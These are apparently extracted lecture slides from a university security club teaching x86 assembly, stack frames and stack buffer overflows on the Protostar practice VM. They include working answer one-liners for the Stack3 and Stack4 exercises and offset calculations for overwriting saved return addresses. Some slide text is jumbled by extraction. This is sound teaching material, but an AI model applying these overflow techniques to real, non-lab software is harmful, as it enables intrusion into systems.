Introduction to x86 and Stack Frame Analysis Slides

UOSEC Week 4:
Stacks on stacks on
stacks
Frank [email protected]
IRC kee
Adam [email protected]
IRC xe0
IRC: irc.freenode.net #0x4f
Agenda
● 
● 
● 
● 
● 
Sign up for March 7th CTF
BKP CTF
Download Protostar vm
Shellcode demo from last time
Exercises
Protostar
Last meeting uosec.net was acting too much
like ix.cs.uoregon.edu soooo lets everyone
download our own Protostar instance
Protostar
If you don’t have virtualization software
installed you can download virtualbox from
https://www.virtualbox.org/wiki/Downloads
You can then download Protostar VM from
https://exploit-exercises.com/download/
Shellcode Demo
So, last time uosec.net was too laggy to give
the shellcode demo...
Shellcode Demo
Shellcode Demo
Netcat shellcode used
http://shell-storm.org/shellcode/files/
shellcode-684.php
Quick recap from last meeting
●  If you can buffer overflow eip on a
executable stack, you can inject shellcode
Quick recap from last meeting
●  If you can buffer overflow eip on an
executable stack, you can inject shellcode
●  Bash, Python, Perl, Ruby are languages
frequently used to write scripts to overflow
buffers (python -c “print ‘A’*64”)
Quick recap from last meeting
●  If you can buffer overflow eip on a
executable stack, you can inject shellcode
●  Bash, Python, Perl, Ruby are languages
frequently used to write scripts to overflow
buffers (python -c “print ‘A’*64”)
●  Protostar doesn’t implement stack defenses
Exercise Stack 3
https://exploit-exercises.com/protostar/stack3/
Time limit: 10 minutes
Answer for Stack 3
python -c "print 'A'*64 + '\x24\x84\x04\x08'" | ./
stack3
Answer for Stack 3
Why is it ‘A’*64?
Answer for Stack 3
Why is it ‘A’*64? Look at the source code and
you will see char buffer[64] but you can’t rely on
source code to be accurate all the time.
Answer for Stack 3
Next why '\x24\x84\x04\x08'?
Answer for Stack 3
Next why '\x24\x84\x04\x08'? 0x08048424 is
the memory address for the win() function.
We can simply overwrite the function pointer fp
with the address to win() and we are done.
Before Stack4, We Need Some x86 Skills
●  As I said before, sometimes the source code
won’t tell all (like how to calculate memory
offsets).
●  So, we need to review a little bit of x86
assembly...
Before Stack4, We Need Some x86 Skills
Brief Introduction to x86 ASM
●  x86 assembly is a low level machine-specific
programming language that produces object
code
●  Some programs that are still written in
assembly: operating system kernels, device
drivers, and embedded real-time systems.
x86 Syntax
●  There are two major syntaxes for x86
assembly. Intel and AT&T.
x86 Syntax
●  The
AT&T
ere are two major
syntax for x86 assembly is
Intel
and
x86 Syntax
●  The
AT&T
ere are two major
syntax for x86 assembly is
Intel
●  Intel syntax has the following format:
instruction dst, src
●  > 700 x86 instructions currently exist
and
Registers
●  32bit x86 processors have 8 32bit general
purpose registers
●  In addition to the general purpose registers
there is also flags (used to determine code
flow direction), extra extension registers
(MMX, SSE, etc), and segment registers
Registers
EBP, ESP, EIP
●  EBP called the base pointer is used to keep track
of the bottom of a stack frame
●  ESP called the stack pointer is used to keep track
of the top of stack
●  EIP called the instruction pointer, points to the
next instruction the CPU will execute
Memory Addressing
●  mov [eax], 2 # move 2 into addr stored in ebx
Problem though, how do we know if it’s using 1 byte, 2 bytes, or
all 4 bytes of the 32 bit register eax?
Memory Addressing
● 
mov BYTE PTR [ebx], 2
#move 2 into single byte at addr stored in ebx
Memory Addressing
●  mov BYTE PTR [ebx], 2 #move 2 into single byte at addr stored in ebx
●  mov WORD PTR [ecx], 2 #move the 16bit integer representation of 2
#into 2 bytes at addr
stored in ecx
Memory Addressing
●  mov BYTE PTR [ebx], 2 #move 2 into single byte at addr stored in ebx
●  mov WORD PTR [ecx], 2 #move the 16bit integer representation of 2
#into 2 bytes at addr
stored in ecx
●  mov DWORD PTR [edx], 2 #move the 32bit integer representation of 2
#into 4 bytes at addr stored in edx
Memory Addressing
mov eax, [ebx] # moves 4 bytes in memory at the address contained in ebx to eax
mov DWORD PTR [esp+0x4], ebx # moves the contents of ebx into the 4
#bytes at memory address esp+0x4
Function Prologue
Higher memory addresses
●  Before any call functions
esp
Arguments
Lower memory addresses
Function Prologue
Higher memory addresses
●  Call some function
Arguments
esp
Return Address
Lower memory addresses
Function Prologue
Higher memory addresses
●  push ebp
Arguments
esp
Return Address
Old ebp
Lower memory addresses
Function Prologue
Higher memory addresses
●  push ebp
●  mov ebp, esp
Arguments
Return Address
esp
Old ebp
Lower memory addresses
Function Prologue
Higher memory addresses
●  push ebp
●  mov ebp, esp
●  sub esp, n bytes
Arguments
Return Address
Old ebp
esp
Lower memory addresses
Function Epilogue
Higher memory addresses
●  mov esp, ebp
●  pop ebp
Arguments
esp
Return Address
note these two instructions
are commonly combined into
one instruction in x86 architecture
called leave
Lower memory addresses
Function Epilogue
esp
Higher memory addresses
●  leave
Lower memory addresses
Calculating offsets
●  While learning x86 assembly in depth would be beneficial,
what we’re really interested in is what we need to know to
reverse engineer/exploit a program
●  One of the most important things is calculating memory
offsets
Stack3
0x08048438 <main+0>:
push ebp # function prologue (4 byte difference)
0x08048439 <main+1>:
mov
ebp,esp # function prologue
0x0804843b <main+3>:
and
esp,0xfffffff0 # stack alignment (8 byte difference)
0x0804843e <main+6>:
sub
esp,0x60 # create stack space in the stack frame (96 bytes)
0x08048441 <main+9>:
mov
DWORD PTR [esp+0x5c],0x0 # set fp variable to 0 (note its 92 bytes away from esp)
0x08048449 <main+17>: lea
0x0804844d <main+21>: mov
eax,[esp+0x1c] # move address of buffer into eax (note its 28 bytes away from esp)
DWORD PTR [esp],eax # move buffer in [esp] for gets() call
0x08048450 <main+24>: call 0x8048330 <gets@plt> # call gets() with [esp] as an argument
0x08048455 <main+29>: cmp
0x0804845a <main+34>: je
DWORD PTR [esp+0x5c],0x0 # if fp still equals 0 we didn’t overflow it
0x8048477 <main+63> # if flag for equal was set we end program (fp ==0) else we contiue
0x0804845c <main+36>: mov
eax,0x8048560 # move contents of 0x8048560 (which is a string) into eax
0x08048461 <main+41>: mov
edx,DWORD PTR [esp+0x5c] # move our overflowed value of fp into edx
0x08048465 <main+45>: mov
DWORD PTR [esp+0x4],edx # move fp into temp variable for printf call
0x08048469 <main+49>: mov
DWORD PTR [esp],eax # move 0x8048560 (string) into temp variable for print call
0x0804846c <main+52>: call 0x8048350 <printf@plt> # call printf with [esp+0x4] and [esp] as arguments
0x08048471 <main+57>: mov
eax,DWORD PTR [esp+0x5c] # move fp into eax
0x08048475 <main+61>: call eax # call fp
0x08048477 <main+63>: leave # function epilogue equivalent to mov esp, ebp followed by pop ebp
0x08048478 <main+64>: ret # return to previous eip before main was called
Stack3
If we had this as our asm, how much would we need to overflow the buffer to overwrite
ebp (and get to eip)?
0x08048438 <main+0>: push ebp # function prologue (4 byte difference)
0x08048439 <main+1>: mov ebp,esp # function prologue
0x0804843b <main+3>: and esp,0xfffffff0 # stack alignment (8 byte difference)
0x0804843e <main+6>: sub esp,0x60 # create stack space in the stack frame
0x08048441 <main+9>: mov DWORD PTR [esp+0x5c],0x0 # set fp variable to 0
0x08048449 <main+17>: lea eax,[esp+0x1c] # move address of buffer into eax
0x0804844d <main+21>: mov DWORD PTR [esp],eax # move buffer in [esp] for gets()
0x08048450 <main+24>: call 0x8048330 <gets@plt> # call gets()
0x08048477 <main+63>: leave # equivalent to mov esp, ebp followed by pop ebp
0x08048478 <main+64>: ret # return to previous eip before main was called
Stack3
If we had this as our asm, how much would we need to overflow the buffer to overwrite
ebp (and get to eip)?
[64bytes for buffer][4bytes for fp][8bytes for alignment][4bytes for ebp][4bytes for eip]
0x08048438 <main+0>: push ebp # function prologue (4 byte difference)
0x08048439 <main+1>: mov ebp,esp # function prologue
0x0804843b <main+3>: and esp,0xfffffff0 # stack alignment (8 byte difference)
0x0804843e <main+6>: sub esp,0x60 # create stack space in the stack frame
0x08048441 <main+9>: mov DWORD PTR [esp+0x5c],0x0 # set fp variable to 0
0x08048449 <main+17>: lea eax,[esp+0x1c] # move address of buffer into eax
0x0804844d <main+21>: mov DWORD PTR [esp],eax # move buffer in [esp] for gets()
0x08048450 <main+24>: call 0x8048330 <gets@plt> # call gets()
0x08048477 <main+63>: leave # equivalent to mov esp, ebp followed by pop ebp
0x08048478 <main+64>: ret # return to previous eip before main was called
Higher memory addresses
Stack3
Return address
Po
4 bytes
Lets overflow buffer 64 bytes
8 bytes (varies, check with gdb)
ebp
stack alignment
fp
buffer[64]
leave
esp
ret
Lower memory addresses
Higher memory addresses
Stack3
Return address
Po
4 bytes
Lets overflow buffer 64 bytes
Lets add a 4 byte valid addr
in this case lets use win()
8 bytes (varies, check with gdb)
ebp
stack alignment
fp
64*A
leave
esp
ret
Lower memory addresses
Higher memory addresses
Stack3
Return address
Po
Lets overflow buffer 64 bytes
Lets add a 4 byte valid addr
in this case lets use win()
Now we need another 12
bytes to overflow stack
alignment and ebp
4 bytes
8 bytes (varies, check with gdb)
ebp
stack alignment
0x08048424 win()
64*A
leave
esp
ret
Lower memory addresses
Higher memory addresses
Stack3
Return address
Po
Lets overflow buffer 64 bytes
Lets add a 4 byte valid addr
in this case lets use win()
Now we need another 12
bytes to overflow stack
alignment and ebp
Finally we are at eip so
we can choose any addr
we want so lets choose
where our shellcode is
stored
4 bytes
8 bytes (varies, check with gdb)
A*4
A*8
0x08048424 win()
64*A
leave
esp
ret
Lower memory addresses
Higher memory addresses
Stack3
address to shellcode
Po
Lets overflow buffer 64 bytes
Lets add a 4 byte valid addr
in this case lets use win()
Now we need another 12
bytes to overflow stack
alignment and ebp
Finally we are at eip so
we can choose any addr
we want so lets choose
where our shellcode is
stored
4 bytes
8 bytes (varies, check with gdb)
A*4
A*8
0x08048424 win()
64*A
leave
esp
ret
Lower memory addresses
Exercise Stack4
https://exploit-exercises.com/protostar/stack4/
Time limit: rest of meeting
If you’re a real gangster, get it to print “code
flow successfully changed” without a segfault :)
Answer Stack4
python -c "print 'A'*76 +'\xf4\x83\x04\x08'" | ./stack4
how to figure offset? 64bytes for char buffer[64] + 8bytes
stack align + 4 byte ebp = 76bytes junk